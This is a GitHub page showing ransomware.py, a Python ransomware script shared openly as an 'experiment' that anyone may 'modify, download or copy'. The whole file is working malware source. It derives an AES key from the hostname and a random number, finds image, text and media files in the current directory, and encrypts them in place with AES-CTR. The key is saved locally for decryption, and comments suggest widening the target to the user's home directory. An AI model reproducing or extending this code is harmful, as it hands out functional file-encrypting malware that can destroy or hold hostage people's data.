-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathransomware.py
126 lines (93 loc) · 3.19 KB
/
ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
"""
This software was created by Edinson Requena, Feel free to modify, download or copy it. use it for good <3
Instagram: edinsonrequena
Medium: edinsonrequena
Facebook: Edinson Requena
Twitter: requenaea
Email: [email protected]
This software just an experiment, if you want to make it global use os.environ['HOME'] Be careful wiht that
"""
import os
import random
import hashlib
import socket
#to use these modules install pycryptodome
from Crypto.Util import Counter
from Crypto.Cipher import AES
username = os.getlogin()
#This only works for me, you must put the path where the ransomware will work on your machine.
#This is just an experiment, if you want to make it global use os.environ['HOME'] Be careful wiht that
destination = r'C:\Users\{}\desktop\proyectos_libres\ransonwre_dir'.format(username)
destination = os.path.abspath('')
files = os.listdir(destination)
files = [x for x in files if not x.startswith('.')]
#You can add any extensions
extensions = [".txt", ".jpg", '.jpeg', 'mp4', 'mp3', 'png',]
def hash_key():
hashnumber = destination + socket.gethostname() + str(random.randint(0, 10000000000000000000000000000000000000000000000))
hashnumber = hashnumber.encode('utf-8')
print(hashnumber)
hashnumber = hashlib.sha512(hashnumber)
hashnumber = hashnumber.hexdigest()
new_key = []
for k in hashnumber:
if len(new_key) == 32:
hashnumber = ''.join(new_key)
break
else:
new_key.append(k)
return hashnumber
def encrypt_and_decrypt(text, crypto, block_size = 16):
with open(text, 'r+b') as encrypted_file:
unencrypted_content = encrypted_file.read(block_size)
while unencrypted_content:
encrypted_content = crypto(unencrypted_content)
if len(unencrypted_content) != len(encrypted_content):
raise ValueError('')
encrypted_file.seek(- len(unencrypted_content), 1)
encrypted_file.write(encrypted_content)
unencrypted_content = encrypted_file.read(block_size)
def discover(key):
files_list = open('files_list', 'w+')
for extension in extensions:
for file in files:
if file.endswith(extension):
files_list.write(os.path.join(file)+ '\n')
files_list.close()
del_space = open('files_list', 'r')
del_space = del_space.read().split('\n')
print(del_space)
del_space = [i for i in del_space if not i == '']
print(del_space)
if os.path.exists('hash_file'):
decrypt_field = input('Enter the symmetric key: ')
hash_file = open('hash_file', 'r')
key = hash_file.read().split('\n')
key = ''.join(key)
if decrypt_field == key:
key = key.encode('utf-8')
counter = Counter.new(128)
crypto = AES.new(key, AES.MODE_CTR, counter = counter)
cryp_files = crypto.decrypt
for element in del_space:
encrypt_and_decrypt(element, cryp_files)
else:
counter = Counter.new(128)
crypto = AES.new(key, AES.MODE_CTR, counter = counter)
hash_file = open('hash_file', 'wb')
hash_file.write(key)
hash_file.close()
cryp_files = crypto.encrypt
for element in del_space:
encrypt_and_decrypt(element, cryp_files)
def main():
hashnumber = hash_key()
print(hashnumber)
print(len(hashnumber))
hashnumber = hashnumber.encode('utf-8')
discover(hashnumber)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
exit()